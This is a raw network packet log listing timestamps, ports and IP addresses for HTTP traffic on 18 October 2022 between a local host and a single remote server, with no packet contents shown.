Oct 18, 2022 13:28:11.912827969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912836075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912864923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912894011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912919044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912925005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912925005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912947893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912961960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912981987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912986994 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913008928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913011074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913032055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913038015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913063049 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913064003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913083076 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913089037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913105011 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913116932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913130999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913146019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913161039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913175106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913187027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913203001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913218975 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913229942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913248062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913259029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913271904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913285971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913300991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913316011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913341999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913345098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913364887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913368940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913388968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913399935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913415909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913429022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.913445950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.913479090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.969868898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.969913960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.969943047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.969973087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970000982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970024109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970026970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970053911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970063925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970081091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970108032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970125914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970134974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970158100 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970164061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970190048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970196962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970236063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970642090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970678091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.970725060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.970763922 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973717928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973758936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973788023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973817110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973820925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973841906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973850012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973871946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973898888 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973898888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973917007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973927975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973953962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.973954916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973978996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.973984003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974000931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974014997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974029064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974046946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974060059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974078894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974088907 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974106073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974123001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974132061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974148035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974159002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974174976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974186897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974204063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974212885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974230051 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974241018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974256039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974267006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974282026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974294901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974308968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974324942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974339008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974354029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974364996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974381924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974394083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974409103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974423885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974436998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974452019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974467039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.974479914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.974509001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.045900106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.045934916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.045954943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.045974016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.045991898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046010017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046029091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046047926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046066046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046077967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046083927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046103001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046111107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046122074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046139956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046156883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046165943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046175003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046195030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046214104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046224117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046224117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046231985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046251059 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046262026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046268940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046286106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046298027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046325922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046329021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046344995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046364069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046370029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046381950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046401024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046411991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046418905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046435118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046448946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046454906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046469927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046487093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046490908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046505928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046524048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046534061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046541929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046560049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046566963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046578884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046592951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046596050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046616077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046631098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046636105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046653032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046667099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046670914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046689987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046700954 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046709061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.046730042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.046751976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.107693911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107731104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107750893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107772112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107784986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107798100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107820034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107840061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107857943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107872963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107891083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107904911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107903957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.107918978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107938051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107959986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107981920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.107999086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108005047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108017921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108036995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108048916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108055115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108073950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108084917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108093023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108110905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108129978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108150005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108151913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108151913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108170033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108195066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108213902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108233929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108252048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108270884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108289957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108308077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108330965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108350039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108371973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108374119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108371973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108371973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108372927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108372927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108372927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108393908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108396053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108414888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108433008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108438969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108452082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108472109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108488083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108489990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108509064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.108509064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108551025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.108577967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169019938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169054031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169070959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169090033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169107914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169126987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169151068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169169903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169188023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169195890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169205904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169224977 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169243097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169255018 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169260979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169279099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169284105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169297934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169307947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169316053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169332981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169336081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169354916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169373035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169373035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169392109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169409990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169419050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169428110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169446945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169446945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169466019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169480085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169486046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169500113 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169506073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169523001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169538021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169542074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169562101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169578075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169583082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169600964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169600964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169619083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169635057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169636965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169656038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169670105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169672966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169691086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169692039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169711113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169725895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169728994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169748068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169764042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169770002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169787884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169789076 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169807911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169817924 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169826031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.169869900 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.169902086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230263948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230307102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230334044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230361938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230387926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230412960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230436087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230460882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230489016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230511904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230536938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230565071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230592966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230619907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230648994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230675936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230700970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230720043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230716944 CEST	49701	80	192.168.2.7	141.8.199.69
